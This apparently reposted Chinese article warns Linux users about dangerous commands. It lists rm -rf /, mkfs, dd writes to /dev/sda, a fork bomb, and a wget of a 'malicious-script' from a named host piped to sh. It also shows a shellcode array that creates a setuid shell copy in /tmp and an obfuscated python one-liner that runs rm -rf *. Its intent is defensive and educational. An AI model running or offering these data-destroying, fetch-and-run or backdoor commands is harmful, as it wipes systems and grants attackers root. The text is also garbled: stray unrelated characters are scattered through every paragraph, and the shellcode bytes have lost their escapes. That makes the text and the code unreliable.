文中列出的命令絕對(duì)不可以運(yùn)行苏携,即使你覺(jué)得很好奇也不行,除非你是在虛擬機(jī)上運(yùn)行(出現(xiàn)問(wèn)題你可以還原)膨桥,因?yàn)樗鼈儠?huì)實(shí)實(shí)在在的破壞你的系統(tǒng)创肥。所以不在root等高級(jí)管理權(quán)限下執(zhí)行命令是很好的習(xí)慣。
早晚有一天瞎访,Linux 系統(tǒng)會(huì)像 Windows 那樣流行腻贰,用的人越來(lái)越多,包括對(duì)計(jì)算機(jī)不是很了解的人扒秸,本文的目的就是告訴大家:在Linux給你最大程度自由度的同時(shí)播演,也使得破壞系統(tǒng)變得更加容易,如果你不了解某些命令的意義伴奥,下載執(zhí)行包含惡意命令的腳本宾巍,或者被騙運(yùn)行某些命令,很容易讓你哭 都來(lái)不及渔伯。
這并不是說(shuō)明 Linux 不安全顶霞,只是說(shuō)明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全选浑。Windows 也好蓝厌,Linux 也好,人本身才是最大的不安全因素古徒。
下面的命令會(huì)刪除你硬盤上的文件拓提,rm 的 -r 遞歸刪除,和 -f 強(qiáng)制刪除是很危險(xiǎn)的選項(xiàng)隧膘,即使日常操作代态,也會(huì)遇到誤刪文件的情況。
sudo rm -rf / 刪除根分區(qū)全部的文件
sudo rm -rf . 刪除當(dāng)前目錄下的所有文件
sudo rm -rf * 同上
rm -rf * or rm -rf *.* 同上
rm -rf ~ / & 刪除根分區(qū)和家目錄疹吃,即使你不是root蹦疑,家目錄還是不能幸免。
同樣萨驶,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat歉摧、ext2、ext3腔呜、bfs……) 是格式化命令的話叁温,運(yùn)行下面的命令會(huì)擦除你的硬盤分區(qū):
sudo mkfs.xxxx
dd 是強(qiáng)大的 IO 輸入輸出定向工具,如果使用不當(dāng)核畴,破壞性很大膝但,不僅僅是當(dāng)前分區(qū),當(dāng)前系統(tǒng)谤草,有的時(shí)候是整個(gè)硬盤跟束。
sudo dd if=/dev/zero of=/dev/sda 全部硬盤清零。
sudo dd if=/dev/sda of=/dev/sdb 用第一塊硬盤的內(nèi)容覆蓋第二塊的內(nèi)容咖刃。
sudo dd if=something of=/dev/sda 往硬盤上寫垃圾數(shù)據(jù)。
同理憾筏,直接把命令結(jié)果定向到硬盤上痒芝,相當(dāng)于往硬盤上寫垃圾數(shù)據(jù):
any_command > /dev/sda 用隨意的數(shù)據(jù)破壞硬盤
上面的 sda 迷殿、sdb 也可能是其他類似的名稱。Linux 的 /dev 系統(tǒng)給操縱硬件提供了很方便和強(qiáng)大的功能,同時(shí)也使得破壞變得更容易李丰。
fork 命令打開(kāi)一個(gè)子進(jìn)程,如果把 fork 放在無(wú)限循環(huán)中厌衔,最終子進(jìn)程會(huì)耗盡所有內(nèi)存資源:
:(){:|:&};:
這段不知所云的符號(hào)钱骂,可以讓 Shell 不停的 fork 子進(jìn)程,最后導(dǎo)致內(nèi)存耗盡黄痪,不得不重啟紧帕,這不是 bug,只是 Shell 語(yǔ)句故意寫成簡(jiǎn)寫的形式而已。下面的同理:
fork while fork
有的時(shí)候是嗜,壓縮包也是一個(gè)破壞來(lái)源~
有的壓縮包要求你解壓到某個(gè)系統(tǒng)中已經(jīng)存在的目錄中愈案,這時(shí)候你就要特別小心了,壓縮包里面可能有成千上萬(wàn)的小文件鹅搪,以各種文件名嘗試覆蓋你現(xiàn)有的文件站绪。
有的壓縮包看起來(lái)很小,但是解壓出來(lái)是上 GB 的垃圾數(shù)據(jù)丽柿,會(huì)充斥你的硬盤恢准。
從不正規(guī)網(wǎng)站下載的程序、腳本甫题,同樣會(huì)有包含惡意命令的危險(xiǎn)馁筐,不可隨便執(zhí)行:
wget [url]http://some_place/some_file[/url]
sh ./some_file
wget [url]http://hax018r.org/malicious-script[/url]
sh ./malicious-script
載腳本要確保來(lái)源正規(guī),如果有能力幔睬,可以閱讀其代碼眯漩。即使有源代碼的程序,也不要隨便編譯執(zhí)行:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
elease */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
上面看起來(lái)只是一堆沒(méi)有意義的 16 進(jìn)制數(shù)據(jù)麻顶,如果有人告訴你赦抖,運(yùn)行這個(gè)程序你就可以不輸入密碼取得系統(tǒng)的 root 權(quán)限,你可不要相信他辅肾,上面的程序?qū)嶋H運(yùn)行的是“rm -rf ~ / & ”队萤。
python 一類的腳本語(yǔ)言,同樣可以拿來(lái)搞破壞:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'
這段程序?qū)嶋H上會(huì)執(zhí)行 rm -rf *矫钓,也許你很奇怪上面程序結(jié)尾的 “sn!.sg! ” 是什么意思要尔,實(shí)際上就是 rm -rf * 每個(gè)字母的下一個(gè)!
那么我們?nèi)绾伪苊膺\(yùn)行惡意程序呢新娜?
第一不要用 root 作為日常使用的用戶赵辕,上面的程序,如果當(dāng)前用戶不是 root概龄,危害的波及范圍就會(huì)小很多还惠。
第二要知道哪些命令是干什么用的,不知道的命令不要冒然運(yùn)行私杜。運(yùn)行有潛在破壞能力的程序蚕键,要小心檢查自己的輸入。
第三要保證軟件衰粹、腳本的來(lái)源正規(guī)锣光。
最后一點(diǎn),雖然比較消極铝耻,但是確實(shí)十分重要的一點(diǎn):經(jīng)常備份你的數(shù)據(jù)L艿!